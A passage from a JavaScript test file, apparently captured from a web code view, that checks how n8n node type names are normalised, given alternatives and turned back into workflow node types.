it('should return empty array for non-string input (array)', () => {
|
||||
const alternatives = getNodeTypeAlternatives([] as any);
|
||||
|
||||
expect(alternatives).toEqual([]);
|
||||
});
|
||||
});
|
||||
|
||||
describe('edge cases', () => {
|
||||
it('should handle node type with only prefix', () => {
|
||||
const alternatives = getNodeTypeAlternatives('nodes-base.');
|
||||
|
||||
expect(alternatives).toBeInstanceOf(Array);
|
||||
});
|
||||
|
||||
it('should handle node type with multiple dots', () => {
|
||||
const alternatives = getNodeTypeAlternatives('nodes-base.some.complex.type');
|
||||
|
||||
expect(alternatives).toBeInstanceOf(Array);
|
||||
expect(alternatives.length).toBeGreaterThan(0);
|
||||
});
|
||||
|
||||
it('should handle camelCase node names', () => {
|
||||
const alternatives = getNodeTypeAlternatives('nodes-base.httpRequest');
|
||||
|
||||
expect(alternatives).toContain('nodes-base.httprequest');
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
describe('normalizeNodeType', () => {
|
||||
it('should normalize n8n-nodes-base prefix', () => {
|
||||
expect(normalizeNodeType('n8n-nodes-base.webhook')).toBe('nodes-base.webhook');
|
||||
});
|
||||
|
||||
it('should normalize @n8n/n8n-nodes-langchain prefix', () => {
|
||||
expect(normalizeNodeType('@n8n/n8n-nodes-langchain.agent')).toBe('nodes-langchain.agent');
|
||||
});
|
||||
|
||||
it('should normalize n8n-nodes-langchain prefix', () => {
|
||||
expect(normalizeNodeType('n8n-nodes-langchain.chatTrigger')).toBe('nodes-langchain.chatTrigger');
|
||||
});
|
||||
|
||||
it('should leave already normalized types unchanged', () => {
|
||||
expect(normalizeNodeType('nodes-base.slack')).toBe('nodes-base.slack');
|
||||
});
|
||||
|
||||
it('should leave community nodes unchanged', () => {
|
||||
expect(normalizeNodeType('community.customNode')).toBe('community.customNode');
|
||||
});
|
||||
});
|
||||
|
||||
describe('getWorkflowNodeType', () => {
|
||||
it('should construct workflow node type for n8n-nodes-base', () => {
|
||||
expect(getWorkflowNodeType('n8n-nodes-base', 'nodes-base.webhook')).toBe('n8n-nodes-base.webhook');
|
||||
});
|
||||
|
||||
it('should construct workflow node type for langchain', () => {
|
||||
expect(getWorkflowNodeType('@n8n/n8n-nodes-langchain', 'nodes-langchain.agent')).toBe('@n8n/n8n-nodes-langchain.agent');
|
||||
});
|
||||
|
||||
it('should return as-is for unknown packages', () => {
|
||||
expect(getWorkflowNodeType('custom-package', 'custom.node')).toBe('custom.node');
|
||||
});
|
||||
});
|
||||
});
|
||||
Reference in New Issue
Block a user